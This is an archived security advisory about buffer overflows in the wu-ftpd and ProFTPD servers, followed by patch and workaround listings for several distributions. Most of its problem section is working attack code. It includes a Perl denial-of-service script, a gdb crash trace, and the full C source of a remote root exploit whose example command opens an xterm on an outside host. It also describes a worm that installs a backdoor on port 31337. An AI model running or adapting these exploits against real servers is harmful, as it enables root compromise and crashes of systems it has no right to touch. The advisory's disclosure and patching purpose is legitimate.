COMMAND

    ftpd

SYSTEMS AFFECTED

    Systems running various ftp daemons (see solutions)

PROBLEM

    Following  is  based  on  Netect  Security  Advisory.   Any server
    running the latest  version of ProFTPD  (1.2.0pre1) or the  latest
    version  of  Wuarchive  ftpd  (2.4.2-academ[BETA-18]).  wu-ftpd is
    installed and enabled  by default on  most Linux variants  such as
    RedHat  and  Slackware  Linux.   ProFTPD  is new software recently
    adopted  by  many  major  internet  companies  for  its   improved
    performance and reliability.  Investigation of this  vulnerability
    is ongoing;  the below  lists software  and operating  systems for
    which Netect has definitive information.

    Software  that  implements  FTP  is  called  an "ftp server", "ftp
    daemon", or "ftpd".  On most vulnerable systems, the ftpd software
    is enabled and installed by default.  There is a general class  of
    vulnerability that exists in several popular ftp servers.  Due  to
    insufficient bounds  checking, it  is possible  to subvert  an ftp
    server  by  corrupting  its  internal  stack  space.  By supplying
    carefully designed commands to the ftp server, intruders can force
    the the server to execute arbitrary commands with root  privilege.
    On most  vulnerable systems,  the ftpd  software is  installed and
    enabled  by  default.   Intruders  who  are  able  to exploit this
    vulnerability can ultimately gain interactive access to the remote
    ftp server with root privilege.

    Anyway, even  after patch  below for  RedHat, mkdir <verylongname>
    let the deamon do  funny things.  Here's  the way to kill  patched
    ProFTPD.

    #!/usr/local/bin/perl
    # ftpd thingy
    # bubba@bubba.org
    #
    $login="ftp";              #duh
    $pass="ftp\@ftp.com";  #ditto
    $cdstart="incoming";   #dir with write access to start making new dirs
    $length=100;           #length of dir names
    $numdirs="15";         #number of dirs to create
    #########################################################################
    $ARGC=@ARGV;
    if ($ARGC !=1) {
            print "Usage: $0 <host>\n";
            exit;
    }
    use Socket;

    $string="x" x $length;

    my($remote,$port,$iaddr,$paddr,$proto,$line);
    $remote=$ARGV[0];
    $port = "21";

    $iaddr = inet_aton($remote) or die "Error: $!";
    $paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
    $proto = getprotobyname('tcp') or die "Error: $!";

    socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
    connect(SOCK, $paddr) or die "Error: $!";

    $count=$numdirs;
    while ($count--) {
            if ($count==$numdirs-1) {
                    $msg = "user $login\n";
                    send(SOCK, $msg, 0) or die "Cannot send query: $!";
                    $msg = "pass $pass\n";
                    send(SOCK, $msg, 0) or die "Cannot send query: $!";
                    $msg = "cwd $cdstart\n";
                    send(SOCK, $msg, 0) or die "Cannot send query: $!";
            } elsif ($count==1) {
                $msg = "pwd\n";
                    send(SOCK, $msg, 0) or die "Cannot send query: $!";
                $msg = "quit\n";
                    send(SOCK, $msg, 0) or die "Cannot send query: $!";
            } else {
                $msg = "mkd $string\n";
                    send(SOCK, $msg, 0) or die "Cannot send query: $!";
                    $msg = "cwd $string\n";
                    send(SOCK, $msg, 0) or die "Cannot send query: $!";
                    $msg = "pwd\n";
                    send(SOCK, $msg, 0) or die "Cannot send query: $!";

            }
    }
    while (<SOCK>) {
            print;
    }

    exit;

    Also, ls big lenth file/directory will kill ProFTPD.  The  problem
    sits  in  fs.c:fs_dircat()  routine,  which  doesn't make boundary
    checks  while   concatinating  directory   names.   According   to
    CyberPsychotic,  this  seem  to  be  a heap buffer overflow, which
    smashes  pointers  to  the  dirnames  (thus you could probably get
    access to files outsite chrooted envinronment):  Here's screenshot
    of gdb, attaching to running proftpd process before overflow  took
    place:

        Program received signal SIGSEGV, Segmentation fault.

        0x4007c837 in strncpy (s1=0x41414141 <Address 0x41414141 out of bounds>,
            s2=0xbfffea88 'A' <repeats 186 times>, "/", 'A' <repeats 13 times>...,
            n=1094795585) at ../sysdeps/generic/strncpy.c:82
        ../sysdeps/generic/strncpy.c:82: No such file or directory.
        (gdb) where
        #0  0x4007c837 in strncpy (s1=0x41414141 <Address 0x41414141 out of bounds>,
            s2=0xbfffea88 'A' <repeats 186 times>, "/", 'A' <repeats 13 times>...,
            n=1094795585) at ../sysdeps/generic/strncpy.c:82
        #1  0x8057963 in fs_clean_path (
            path=0x41414141 <Address 0x41414141 out of bounds>,
            buf=0x41414141 <Address 0x41414141 out of bounds>, maxlen=1094795585)
            at fs.c:776
        #2  0x41414141 in ?? ()
        Cannot access memory at address 0x41414141.
        (gdb)

    The overflow  causes SIGSEGV  in fs_clean_path()  routine, but  it
    happened  in  fs_dircat(),  which  eventualy overwrote pointers to
    path, and buf.  1.2.pre2 was not tested (tested with 1.2.pre1 with
    patch appiled).

    Stu Alchor posted following.  There's a script called ftp-w0rm.tgz
    which is able to  look for ftpd bug  around the world, exploit  it
    and reproduce the script like the  worm.  Once the worm gets  in a
    new host, it will install a backdoor (bindcode) in the port  31337
    and  starts  the  new  scan.   Below  is  the core of the ftp worm
    (SDI-wu.c), the  exploit for  the vulnerability.   The  associated
    programs/documents regarding worm can be found at:

        http://blue.ils.unc.edu/Apr1/hack/

    The program  below seems  to combine  the scanning  for a writable
    directory with the exploit.   The SDI-wu code needs some  fixes to
    work in Red Hat and other linux distribution.

    /*
     * SDI wu-ftpd exploit for Linux (Feb 20, 1999)
     *
     * http://www.sekure.org - Brazilian Information Security Team.
     *
     * Source by jamez  (jamez@sekure.org)
     *           c0nd0r (condor@sekure.org)
     *
     * This source will let you execute remote commands as root if you have
     * write access on the ftp server.
     *
     * Usage:
     *
     *    gcc SDI-wu.c -o SDI-wu
     *
     *    ./SDI-wu host user password dir command type [port] [align]
     *
     *    host:     the victim (ftp.microsoft.com)
     *    user:     ftp user with write access (anonymous)
     *    password: the password for the user (foo@bar.com)
     *    dir:      the directory you have access (/incoming)
     *    command:  the command ("/usr/X11R6/bin/xterm -display www.host.com:0")
     *    type:     system type (see below)
     *    port:     ftp port (21 default)
     *    align:    the alignment (default 3)
     *
     *
     * Limitations:
     *
     *    because I've used hard coded address's for system and the command,
     *    the  values  wont  be  the same in others compilations of wu-ftpd.
     *    so,  you will  need to  find   the  address   for   the   version
     *    you want to exploit.
     *
     *    because we are not using the stack to  put our code, the  exploit
     *    will work  as well against a non-executable stack patch.
     *
     *
     * RECOMENDATION = Please, run gdb through the wu.ftpd binary in order to
     * find out your "system address" (ie: print system) and  write it   down
     * so you can have more address to try - just overwrite the default addr
     * and choose type (3).
     *
     *
     * Thanks for the sekure SDI:
     * fcon, bishop, dumped, bahamas, slide, vader, yuckfoo.
     *
     * Also thanks for #uground (irc.brasnet.org) and
     * chaosmaker, c_orb(efnet)
     *
     */


    #include <netinet/in.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <stdio.h>
    #include <arpa/inet.h>

    #define MAXLEN 255
    #define BSIZE 1024



    struct sockaddr_in sa;
    struct hostent *he;


    char c = 'A';

    char host[255],
      user[255],
      pass[255],
      command[1024],
      buff[2040],
      tmp[3060],
      netbuf[2040],
      dir[255];

    int sd,
      i,
      offset = 0,
      dirsize = 0,
      port=21,
      doit = 0,
      done = 0,
      todo = 0,
      align = 3,
      tipo = 0;

    /* CUSTOM ADDRESS, CHANGE IT IN ORDER TO EXPLOIT ANOTHER BOX */
    #define SYSADDR 0x40043194;
    #define EGGADDR 0x805f1dc;

    long systemaddr;
    long shelladdr;


    void usage(char * s) {
      printf(" \nSDI wu-ftpd remote exploit (http://www.sekure.org)\n\n");
      printf(" %s host user password dir command [port] [align]\n\n", s);
      printf(" host:         the victim (ftp.microsoft.com)\n");
      printf(" user:         ftp user with write access (anonymous)\n");
      printf(" password:     the password for the user (foo@bar.com)\n");
      printf(" dir:          the directory you have permission to write (/incoming)\n");
      printf(" command:      the command (\"/usr/X11R6/bin/xterm -display www.host.com:0\")\n");
      printf(" type:         see below\n");
      printf(" port:         ftp port (21 default)\n");
      printf(" align:        the alignment (3 default)\n");
      printf("\n type:\n 0 - slak3.4 ver 2.4(4)\n 1 - slak3.4 ver beta-15&18");
      printf("\n 2 - slak3.3 ver 2.4(2)");
      printf("\n 3 - custom (change the code)\n\n See Netect advisory - ");
      printf(" this is not suppose to be released soon! (Feb,1999)\n\n");
    }




    void get_dirsize() {
      strcpy ( tmp, "PWD"); strcat ( tmp, "\n");
      write ( sd, tmp, strlen(tmp));
      read ( sd, netbuf, sizeof(netbuf));

      for(i = 0; i < strlen(netbuf); i++)
        if(netbuf[i] == '\"') break;

      dirsize = 0;

      for(i++; i < strlen(netbuf); i++)
        if(netbuf[i] == '\"')
          break;
        else
          dirsize++;

      bzero ( &netbuf, sizeof(netbuf));


    }

    int main (int argc, char *argv[]) {


      if (argc < 7)  {
        usage(argv[0]);
        exit(0);
      }

      sprintf(host, "%s", argv[1]);
      sprintf(user, "%s", argv[2]);
      sprintf(pass, "%s", argv[3]);
      sprintf(dir, "%s", argv[4]);
      sprintf(command, "%s", argv[5]);

      tipo = atoi (argv[6]);
      printf ( "%d\n\n", tipo);

      if ( argc > 7) port = atoi(argv[7]);
      if ( argc > 8) align = atoi(argv[8]);


      if (tipo <= 0) {
      /* 2.4(4) libc5 slack 3.4 */
       systemaddr = 0x400441f0;
       shelladdr = 0x80604a0;
      } else if (tipo == 1) {
      /* beta 15 libc5 slack 3.4 */
       systemaddr = 0x400441f0;
       shelladdr = 0x8062510;
      } else if (tipo == 2) {
    /* 2.4(4) libc5 slack 3.3 */
       systemaddr = 0x400441f0;
       shelladdr = 0x805f1e4;
      } else {
     /* CUSTOM ADDRESS */
       systemaddr = SYSADDR;
       shelladdr = EGGADDR;
      }

      sd = socket ( AF_INET, SOCK_STREAM, 0);

      sa.sin_family = AF_INET;
      sa.sin_port = htons(port);

      he = gethostbyname (host);
      if (!he) {
        if ( (sa.sin_addr.s_addr = inet_addr(host)) == INADDR_NONE) {
          printf ( "wrong ip address or unknown hostname\n"); exit(0);
        }
      }
      else {
        bcopy ( he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
      }

      if ( connect ( sd, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
        printf ( "Cannot connect to remote host: Connection refused\n");
        exit(0);
      }

      read ( sd, netbuf, sizeof(netbuf));
      printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf));
      /* ok. we're connected. */
      strcpy ( tmp, "USER "); strcat (tmp, user); strcat ( tmp, "\n");
      write ( sd, tmp, strlen(tmp)); bzero ( &tmp, sizeof(tmp));
      read ( sd, netbuf, sizeof(netbuf));
      printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf));
      /* ok. send the pass. */
      strcpy ( tmp, "PASS "); strcat (tmp, pass); strcat ( tmp, "\n");
      write ( sd, tmp, strlen(tmp));  bzero ( &tmp, sizeof(tmp));
      read ( sd, netbuf, sizeof(netbuf));
      if ( netbuf[0] == '5') {
        printf ("Login incorrect!\n"); exit(0); }

      printf ( "%s\n", netbuf);
    #ifdef DEBUG
      printf ( "Ok, we're on! Press any key to exploit it\n");
      gets(netbuf);
    #endif
      bzero ( &netbuf, sizeof(netbuf));

     /* ok. let's get to the vulnerable dir */
      strcpy ( tmp, "CWD "); strcat (tmp, dir); strcat ( tmp, "\n");
      write ( sd, tmp, strlen(tmp)); bzero ( &tmp, sizeof(tmp));
      read ( sd, netbuf, sizeof(netbuf));
      printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf));


      get_dirsize(); /* gets home dir size */


      todo = BSIZE - dirsize - 60 - 4;


      /* ok, we're on. let's get things working here! */
      while(done < todo) {

        if((todo - done) > 255)
          doit = 255;
        else
          doit = todo - done;


        for (i = 0; i < doit; i++)
          buff[i] = c;
        buff[doit] = '\0';


        strcpy ( tmp, "MKD "); strcat ( tmp, buff); strcat ( tmp, "\n");
        write ( sd, tmp, strlen(tmp));
        read ( sd, netbuf, sizeof(netbuf));
        if ( netbuf[1] == '2') {
          printf ("error while creating the dir, let's try another name...\n\n");
          c++;
          continue;
        }
        else
          done += doit;

        bzero ( &tmp, sizeof(tmp));  bzero ( &netbuf, sizeof(netbuf));
        strcpy ( tmp, "CWD "); strcat ( tmp, buff); strcat ( tmp, "\n");
        write ( sd, tmp, strlen(tmp));
        read ( sd, netbuf, sizeof(netbuf));
        if ( netbuf[0] == '5') {
          printf ("error while exploiting the remote host: Cannot cd dir!\n\n");
        }
        bzero ( &tmp, sizeof(tmp));  bzero ( &netbuf, sizeof(netbuf));
      }



      /* prepare last one */

      memset(buff, 'X', MAXLEN);

      for(i = align; i < 100; i += 4) {
        buff[i  ] = systemaddr & 0x000000ff;
        buff[i+1] = (systemaddr & 0x0000ff00) >> 8;
        buff[i+2] = (systemaddr & 0x00ff0000) >> 16;
        buff[i+3] = (systemaddr & 0xff000000) >> 24;
      }

      buff[i++] = shelladdr & 0x000000ff;
      buff[i++] = (shelladdr & 0x0000ff00) >> 8;
      buff[i++] = (shelladdr & 0x00ff0000) >> 16;
      buff[i++] = (shelladdr & 0xff000000) >> 24;

      strcat(command, ";");
      memcpy(buff+140, command, strlen(command));


      buff[MAXLEN] = '\0';

      strcpy ( tmp, "MKD "); strcat ( tmp, buff); strcat ( tmp, "\n");
      write ( sd, tmp, strlen(tmp));
      read ( sd, netbuf, sizeof(netbuf));
      bzero ( &tmp, sizeof(tmp));  bzero ( &netbuf, sizeof(netbuf));

      /* ok. */

      printf ( "Exploiting %s\n", dir);
      printf ( "Using 0x%x(system) and 0x%x(command), alignment = %d, port = %d\n", systemaddr, shelladdr, align, port);
      printf("\nI guess you're a hax0r now :D.\n");

      close (sd);

    }

SOLUTION

    Currently there  are several  ways to  exploit the  ftp servers in
    question.   One temporary  workaround against  an anonymous attack
    is to  disable any  world writable  directories the  user may have
    access to by making them read only.  This will prevent an attacker
    from building an unusually large path, which is required in  order
    to execute these particular attacks.

    ProFTPD
    =======
    This has been fixed in version 1.2.0pre1-2:

        ftp://ftp.debian.org/debian/dists/proposed-updates/proftpd_1.2.0pre1.orig.tar.gz
        ftp://ftp.debian.org/debian/dists/proposed-updates/proftpd_1.2.0pre1-2.diff.gz
        ftp://ftp.debian.org/debian/dists/proposed-updates/proftpd_1.2.0pre1-2.dsc
        ftp://ftp.debian.org/debian/dists/proposed-updates/proftpd_1.2.0pre1-2_i386.deb
        ftp://ftp.debian.org/debian/dists/proposed-updates/proftpd_1.2.0pre1-2_m68k.
        ftp://ftp.proftpd.org/patches/proftpd-1.2.0pre1-path_exploit.patch

    Also, 1.2.0pre2  has been  released which  is patched  against the
    recent overflows/bugs in ftpd that have been discovered. Available
    from:

        ftp://ftp.proftpd.org/distrib/proftpd-1.2.0pre2.tar.gz

    Debian 2.0r5 has this bug fixed.

    wu-ftpd
    =======

        rpm -Uvh ftp://updates.redhat.com/5.2/alpha/wu-ftpd-2.4.2b18-2.1.alpha.rpm
        rpm -Uvh ftp://updates.redhat.com/5.2/i386/wu-ftpd-2.4.2b18-2.1.i386.rpm
        rpm -Uvh ftp://updates.redhat.com/5.2/sparc/wu-ftpd-2.4.2b18-2.1.sparc.rpm
        rpm -Uvh ftp://updates.redhat.com/5.2/SRPMS/wu-ftpd-2.4.2b18-2.1.src.rpm
        rpm -Uvh ftp://updates.redhat.com/4.2/alpha/wu-ftpd-2.4.2b15-1.2.alpha.rpm
        rpm -Uvh ftp://updates.redhat.com/4.2/i386/wu-ftpd-2.4.2b15-1.2.i386.rpm
        rpm -Uvh ftp://updates.redhat.com/4.2/sparc/wu-ftpd-2.4.2b15-1.2.sparc.rpm
        rpm -Uvh  ftp://updates.redhat.com/4.2/SRPMS/wu-ftpd-2.4.2b15-1.2.src.rpm

    wu-ftpd VR series
    =================
    All versions prior  to 2.4.2 (beta  18) VR10 are  vulnerable.  Fix
    will  be  incorporated  into  VR10,  released  November  1,   1998
    available from:

        ftp://ftp.vr.net/pub/wu-ftpd/

    BeroFTPD
    ========
    All  versions  prior  to  1.2.0  are  vulnerable.   Fix  will   be
    incorporated into 1.2.0, released October 26, 1998 available from:

        ftp://ftp.beroftpd.unix.eu.org/pub/BeroFTPD/
        ftp://ftp.croftj.net/usr/bero/BeroFTPD/
        ftp://ftp.sunet.se/pub/nir/ftp/servers/BeroFTPD/
        ftp://sunsite.cnlab-switch.ch/mirror/BeroFTPD/

    RedHat Software
    ===============
    Version 5.2 and  previous versions ARE  vulnerable.  Updates  will
    be available from:

        ftp://updates.redhat.com/5.2/<arch>/
        http://www.samiam.org/blackdragon

     Slackware
     =========
    All versions ARE vulnerable.  Updates will be available from:

        ftp://ftp.cdrom.com/pub/linux/slackware-3.6/slakware/n8/
        ftp://ftp.cdrom.com/pub/linux/slackware-current/slakware/n8/

    OpenLinux
    =========
    Latest version IS vulnerable.  Updates will be available from:

        ftp://ftp.calderasystems.com/pub/OpenLinux/updates/

    SCO
    ===

    UnixWare  v  7.0.1  and  earlier  (except  2.1.x)  IS  vulnerable.
    OpenServer v5.0.5 and earlier  IS vulnerable.  Binary  versions of
    ftpd will be available shortly from the SCO ftp site:

        ftp://ftp.sco.com/SSE/sse021.ltr - cover letter
        ftp://ftp.sco.com/SSE/sse021.tar.Z - replacement binaries